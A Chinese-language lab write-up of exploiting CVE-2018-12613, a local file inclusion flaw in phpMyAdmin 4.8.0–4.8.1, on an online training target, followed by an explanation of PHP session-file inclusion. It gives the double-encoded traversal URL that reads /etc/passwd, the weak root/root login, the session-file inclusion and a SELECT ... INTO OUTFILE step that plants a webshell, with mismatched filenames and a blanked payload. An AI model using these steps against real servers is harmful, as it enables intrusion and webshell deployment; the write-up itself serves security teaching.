背景介绍
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成文件包含漏洞。
在phpMyadmin 4.8.x版本中,程序没有严格控制用户的输入,攻击者可以利用双重编码绕过程序的白名单限制,造成 LFI(本地文件包含)漏洞。
受影响的系统版本为 phpMyadmin 4.8.0 和 phpMyadmin 4.8.1。漏洞编号 CVE-2018-12613。
文件包含漏洞
【区别】目录遍历和文件包含的区别:
墨者学院在线靶机:http://219.153.49.228:49400/index.php
直接通过弱口令账号:root 和 密码:root 进入后台。
phpmyadmin 4.8.x 版本存在文件包含漏洞,咱们首先访问 http://219.153.49.228:49400/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd :
显示如图,可以确定了有文件包含漏洞。
这里为什么是
%253f
?这其实就是和背景介绍中说的通过两次编码可以绕过WAF的检查,%25
编码后是%
然后和后面的3f
形成%3f
。%3f
编码后变成? 所以就变成了/index.php?target=db_sql.php?/../../../../../../../../etc/passwd
这个URL地址。
接下来我们想要getshell,需要先获知网站的绝对路径。
尝试直接在sql 中执行 select ' < ?php phpinfo() ?>'
; 查询phpinfo()包含网页绝对路径信息:
无显示,想想放弃吧…………
【救命稻草】每次登录phpmyadmin系统的时候,系统就会产生一个sess_sessionID文件,然后在里面执行的操作,会被记录到这个文件内(UNIX系统中存放路径为
/tmp/sess_[当前会话session值]
)。
【开始猥琐】于是乎我们可以利用文件包含漏洞直接包含会话文件,里面记录了刚才执行的select ' < ?php phpinfo() ?>
命令,可以让我们看到phpinfo信息。
所以我们获取当前会话sessionID ,用f12 获取session的值,如下图:
然后访问 /index.php?target=db_sql.php%253f/../../../../../../tmp/sess_6p7q5922c95udni3oa1pqvdc9r15s6g6
进行会话文件包含:
获取当前网页绝对路径:
获得网站的绝对路径之后,直接执行以下命令上传木马:
select ' CFCA-SBW-哈哈哈' into outfile '/var/www/html/hack.php'
接下来,访问 http://219.153.49.228:49400/hhh.php ,发现hhh.php文件存在,木马上传成功:
最后,上菜刀连接:
成功连接并找到目标文件key.txt:
此处着重介绍一下攻击过程中利用的PHP中Session文件包含漏洞。
【利用条件】Session的存储位置可以获取。
session.save_path
为/var/lib/php/session
:/var/lib/php/session
目录下:【漏洞分析】
session中的内容可以被控制,传入恶意代码,示例如下:
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
此php会将获取到的GET型ctfs变量的值存入到session中。
当访问 http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session
目录下存储session的值。session的文件名为sess_+sessionid
,sessionid可以通过开发者模式获取。
所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6
。到服务器的/var/lib/php/session
目录下查看果然存在此文件,内容为:
username|s:4:"ctfs";
[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6
username|s:4:"ctfs"
【漏洞利用】
通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。
当访问 http://www.ctfs-wiki/session.php?ctfs= 后,会在/var/lib/php/session目录下存储session的值。
[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a
username|s:18:"";
攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。